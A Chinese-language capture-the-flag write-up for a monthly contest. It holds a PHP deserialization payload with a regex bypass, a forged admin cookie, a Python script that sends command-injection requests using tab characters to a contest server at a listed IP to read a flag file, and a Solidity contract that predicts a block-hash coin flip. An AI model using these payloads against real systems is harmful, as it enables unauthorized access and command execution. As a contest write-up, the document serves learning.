安恒X计划12月月赛

ezweb

主要是序列化问题。没有PHP环境,在线运行的。实例化对象之后修改一下file。然后echo输出序列化的结果。不过下面有一个正则检查。数字前加一个+,影响了正则的匹配,但是对于序列化的还原没有影响。直接写+不生效,于是对+进行URL编码,就绕过了。

<?php 
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  

$flag = new baby();
$flag->file = "index.php";
$flag = serialize($flag);

echo $flag;
echo unserialize($flag)
?>

拿到一个'O:4:"baby":1:{s:4:"file";s:9:"index.php";}'。在加入+号处理一下,直接不生效,需要URL编码'O:%2b4:"baby":1:{s:4:"file";s:9:"index.php";}'。

然后不小心爆出来了代码运行网站的目录。

ezweb2

浏览了一会,不知道网站哪有问题,最后看到cookie里有一个user变量。此处必有蹊跷。拉出来用base64解了一下,看到一个普通的用户的字符串。然后扫到一个admin.php,提示我不是管理员。两者就对上了,改cookie重新刷新user=YWRtaW4=%3D%3D。看到了后台,输入一个密码试试吧。结果发现post出去的表单,输入的内容在cmd字段下。然后判定这不是一个密码,而是一个命令执行。然后用ls证实了想法。然后使用cat查看文件内容的时候出错。当时有两个想法,一个是空格还有一些字符被过滤了,另一个是回显或者命令长度有限制。先按照第一个想法来,fuzz一下什么被过滤了。测出来几个可用的字符,基本上印证了被过滤的想法。使用0x9h替代空格,然后就可以顺利执行命令。
最后的flag在根目录下。

import requests

#fuzz时使用这个循环,注释下一循环。
#for i in range(1,128):

for i in range(9,10):
    url = "http://101.71.29.5:10000/admin.php"
    
    payload = {'cmd':'cat' + chr(i) + '/ffLAG_404'}
    headers = {
        'origin': "http://101.71.29.5:10000",
        'upgrade-insecure-requests': "1",
        'content-type': "application/x-www-form-urlencoded",
        'user-agent': "Mozilla/7.0 (Windows NT 11; Win64; x64) AppleWebKit/539.36 (KHTML, like Gecko) Chrome/76.0.3538.67 Safari/539.36",
        'accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
        'referer': "http://101.71.29.5:10000/admin.php",
        'accept-encoding': "gzip, deflate",
        'accept-language': "zh-CN,zh;q=0.9",
        'cookie': "PHPSESSID=155tke89leol6648g64rrd2p20; user=YWRtaW4=%3D%3D",
        'cache-control': "no-cache"
        }
    
    response = requests.request("POST", url, data=payload, headers=headers)
    #print(i,chr(i))
    #print(len(response.text))
    print(response.text)

misc1

为做题还要涉及早期被公开的泄露数据,这是在教人学坏。拿python处理这些数据的时候换行没处理对,所以跑字典的时候出了问题,没成功解开。

安恒的运营挺有意思的,求生欲很强,为了给公众号用户保活,自己的比赛平台不用,非要在公众号上放hint。

misc2 签到

关注一个公众号,文字游戏。

misc3

压缩包破解。同级目录下有一个压缩包内含的文件,明显的明文攻击。这种题就很烦。偏偏安恒很喜欢出。之前参加他们的比赛,给的一个压缩包,只有7z没毛病,其他都解不出来。这次这个需要winrar压缩,如果你的明文攻击大于10分钟,那么就停下来,重新制作压缩包或者换不同的版本。很烦。因为压缩本来就是有损的,所以究竟会不会出问题,真的不好判断。最后解出来的文档有一个高考秘籍——53,要位移一下这个图。

我觉得下次可以出一个这样的脑洞,放一个3D的模型,移开没有,在遮挡物的背面贴着或者穿模进去才能看到。

misc4

png图片先改像素看一下再去看有没有隐写。高度拉长一看就有字符串,末尾大于两个等号,应该是base32,解出来再拿括号里的内容再做一个MD5散列。



区块链

都说了是赌币,协议也给了。有点坑的是,直接批量不产生效果,手动了20次才收到邮件。

pragma solidity ^0.4.23;

interface BetInterFace{
    function flip(bool _guess) public returns (bool success);
}

contract GetFlag{
    address betAddress = 0x2F99655A6dDfd3e13561Acf2c1c724385BB6A80E;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  
    constructor() public {
         
    }
    function start2() public {
        bool isTrue=getResult();
        bet2(isTrue);
    }
    function getResult() private view returns(bool){
        uint256 blockValue = uint256(block.blockhash(block.number-1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        return side;
        
    }
    function bet2(bool result) private{
        bytes4 methodId = bytes4(keccak256("flip(bool)"));
        if(result){
            betAddress.call(methodId,uint256(1));
        }else{
            betAddress.call(methodId,uint256(0));
        }
    }
}

安恒X计划12月月赛

全文结束